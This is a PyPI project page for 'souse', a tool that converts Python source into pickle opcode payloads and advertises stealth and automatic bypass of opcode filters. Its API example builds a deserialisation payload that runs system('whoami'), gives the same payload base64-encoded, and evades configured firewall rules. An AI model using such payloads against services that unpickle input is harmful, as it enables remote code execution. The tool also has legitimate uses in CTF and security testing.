A tool for converting Python source code to opcode(pickle)
Project description
souse
A tool for converting Python source code to opcode(pickle), source code is payload :)
1. help
2. Key Features
- 🚀 Intelligent Reconstruction: Automatically reconstructs non-pickleable Python source code into fully compatible opcode sequences. For complex source transforms, use parselmouth before souse.
- ✨ Automated Builtins: Built-in functions like
open,eval, andgetattrare recognized automatically—no manual import needed. - 🛡️ Advanced Bypass: Auto bypass complex limitations (
R,o,i, ...) - ⚡ Stealthy Optimization: Automatically optimizes generated opcodes using
pickletoolsfor minimal size and maximum stealth. - 📦 Multi-Functional Transfer: Flexible encoding support (Base64, Hex, URL) and custom transformation sequences.
- 📝 Precise Debugging: Pinpoints errors with full source code context and syntax highlighting.
- 💡 API Support: Convert Python source code to opcode(pickle) via API.
opcode supported list: opcode
3. usage
3.1 CLI
./souse/cases/ has some example codes for souse.py.
3.1.1 case 1
source code:
opcode:
3.1.2 case 2
source code:
opcode:
3.1.3 case 3
You can control the final deserialization result by writing a variable name as the last line of the source code:
c=10
a = {}
a["empty"] = ""
c
3.1.4 case 4
transfer opcode:
supported(You can customize it when calling the API):
- base64_encode
- hex_encode
- url_encode
3.1.5 test code
3.1.6 run tests
python souse/souse.py --run-test
- Requires
pytest.
3.2 API
example:
In [1]: import souse
In [2]: exp = "from os import system\nsystem('whoami')"
In [3]: souse.API(exp, optimized=True, transfer=pickle.loads).generate()
macr0phag3
Out[3]: 0
In [4]: import base64
In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='
In [7]: import pickle
In [8]: firewall_rules = {
...: "V": "*",
...: "I01": "*",
...: "I": "100",
...: "R": "*"
...: }
In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0
4. TODO
- support for nested expressions
- opcode bypass supported
- auto bypass basic limitation(
V、S、I、...) - auto bypass complex limitation(
R、o、i) - auto bypass
stblimitation (viasetattr)
- auto bypass basic limitation(
- Intelligent Import Transformation (Lazy Import)
- Intelligent Attribute Assignment Transformation (By
getattr/setattr) - Converted code output support
- value bypass supported
- number
- API
-
pip installsupported - Contextual source error reporting
- Intelligent Subscript Downgrade (
u->__setitem__) - Automated Builtin recognition
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file souse-5.0.1.tar.gz.
File metadata
- Download URL: souse-5.0.1.tar.gz
- Upload date:
- Size: 24.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.4
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
909ef191f9288ef82aae4b9120dce6446c142a958f09a7ab4125751899140f94
|
|
| MD5 |
975dd46ecc4b633c6d0bb066fb585e94
|
|
| BLAKE2b-256 |
8c3d3bb1da734c0609d9017c3467d15dc92e07edaddaff3a2c31e92430b07424
|
File details
Details for the file souse-5.0.1-py3-none-any.whl.
File metadata
- Download URL: souse-5.0.1-py3-none-any.whl
- Upload date:
- Size: 38.1 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.4
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a183bed7cd18bc87b16eabef5c7cc363af9b1adc663d12673f42dd9268bb9ef5
|
|
| MD5 |
673eb184e0a61eeac6eade02f8e3d979
|
|
| BLAKE2b-256 |
30c5b3db5828777fa80eb0892dec34f594bba4b1d49e4a53ace43df01f0b944f
|